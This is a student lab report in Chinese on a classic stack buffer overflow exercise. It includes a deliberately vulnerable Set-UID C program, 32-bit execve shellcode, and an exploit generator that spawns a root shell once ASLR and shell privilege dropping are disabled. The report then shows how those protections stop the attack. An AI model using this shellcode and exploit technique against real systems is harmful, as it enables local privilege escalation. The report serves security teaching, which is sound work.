Linux实验——缓冲区溢出漏洞实验

20125121

一、     实验描述

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

二、     实验准备

实验楼提供的是64位Ubuntu linux（系统用户名shiyanlou，密码shiyanlou），而本次实验为了方便观察汇编语句，我们需要在32位环境下作操作，因此实验之前需要做一些准备。

1、输入命令安装一些用于编译32位C程序的东西：

sudo apt-get update

图1

sudo apt-get install lib32z1 libc6-dev-i386

图2

sudo apt-get install lib32readline-gplv2-dev

图3

2、输入命令“linux32”进入32位linux环境，输入“/bin/bash”使用bash，使用exit退出Linux32

图4

三、          实验步骤

练习一：

1 初始设置

Ubuntu和其他一些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：

sudo sysctl -w kernel.randomize_va_space=0

图5

此外，为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防护措施在/bin/bash中实现。

linux系统中，/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个shell程序（zsh）代替/bin/bash。下面的指令描述了如何设置zsh程序：

sudo su

cd /bin

rm sh

ln -s zsh sh

exit

图6

2 shellcode

一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是shellcode。

观察以下代码：

#include <stdio.h>

int main( )

{

char *name[2];

name[0] = ‘‘/bin/sh’’;

name[1] = NULL;

execve(name[0], name, NULL);

}

本次实验的shellcode，就是刚才代码的汇编版本：

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3 漏洞程序

把以下代码保存为“stack.c”文件，保存到 /tmp 目录下。代码如下：

/* stack.c */

/* This program has a buffer overflow vulnerability. */

/* Our task is to exploit this vulnerability */

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int bof(char *str)

{

char buffer[12];

/* The following statement has a buffer overflow problem */

strcpy(buffer, str);

return 1;

}

int main(int argc, char **argv)

{

char str[517];

FILE *badfile;

badfile = fopen("badfile", "r");

fread(str, sizeof(char), 517, badfile);

bof(str);

printf("Returned Properly\n");

return 1;

}

通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。

编译该程序，并设置SET-UID。命令如下：

sudo su

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

chmod u+s stack

exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。而 -z execstack 用于允许执行栈。

图7

4 攻击程序

我们的目的是攻击刚才的漏洞程序，并通过攻击获得root权限。

把以下代码保存为“exploit.c”文件，保存到 /tmp 目录下。代码如下：

/* exploit.c */

/* A program that creates a file containing code for launching shell*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax

"\x50"        //pushl %eax

"\x68""//sh"  //pushl $0x68732f2f

"\x68""/bin"  //pushl $0x6e69622f

"\x89\xe3"    //movl %esp,%ebx

"\x50"        //pushl %eax

"\x53"        //pushl %ebx

"\x89\xe1"    //movl %esp,%ecx

"\x99"        //cdq

"\xb0\x0b"    //movb $0x0b,%al

"\xcd\x80"    //int $0x80

;

void main(int argc, char **argv)

{

char buffer[517];

FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */

memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */

strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");

strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */

badfile = fopen("./badfile", "w");

fwrite(buffer, 517, 1, badfile);

fclose(badfile);

}

注意上面的代码，“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。

而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode保存在 buffer+100 的位置。

现在我们要得到shellcode在内存中的地址，输入命令：

gdb stack

disass main

结果如图：

图8

接下来的操作：

图9

现在修改exploit.c文件！然后，编译exploit.c程序：

gcc -m32 -o exploit exploit.c

5 攻击结果

先运行攻击程序exploit，再运行漏洞程序stack，观察结果：

图10

可见，通过攻击，获得了root权限！

练习二：

通过命令”sudo sysctl -w kernel.randomize_va_space=2“打开系统的地址空间随机化机制，重复用exploit程序攻击stack程序，观察能否攻击成功，能否获得root权限。

图11

从图上可以看出，攻击失败，没有获得root权限。

练习三：

将/bin/sh重新指向/bin/bash（或/bin/dash），观察能否攻击成功，能否获得root权限。

图12

从图上可知，攻击失败，没有获得root权限。

四、     实验总结

1、    在实验准备阶段，使用sudo命令时，需要输入密码，当时无论怎么输入，在屏幕上都没有任何显示。后来在查阅资料后，明白之所以不显示任何字符，是因为保密的需要，防止他人根据显示的字符的数量猜测密码，虽然不显示任何字符，但是实际上是有输入的，只需要输入正确的密码在按回车，便可以完成密码的输入。

2、在实验阶段中，地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难。因此需要关闭地址的随机化，固定地址，从而使得地址的猜测变得更加简单。

3、许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防护措施在/bin/bash中实现。为了重现这一防护措施被实现之前的情形，我们使用另一个shell程序（zsh）代替/bin/bash。这项操作可以让程序保持特权。

4、攻击程序写一个badfile文件，将其中的一部分字节替换为之前计算好的字节，当漏洞程序读取badfile文件时，由于没有限制输入的长度，导致返回值被之前替换的字节覆盖，当程序返回时，跳转到了预先指定的地址，获得了root权限，完成了攻击。

5、练习二中，由于地址空间随机化被开启，导致之前计算的地址与实际的地址出现了不同，从而不能完成攻击。

6、练习三中，使用的bash程序，当shell运行时，没有root权限，此时，即便攻击程序攻击了漏洞程序，也无法获得root权限。

7、此次实验让我明白了堆栈地址与权限的作用，堆栈初始地址的随机化和放弃root权限对于防止黑客利用缓存区溢出进行攻击有非常重要的作用。另一方面，我们在编写程序的时候要注意对缓存区的处理，减少黑客的攻击方式。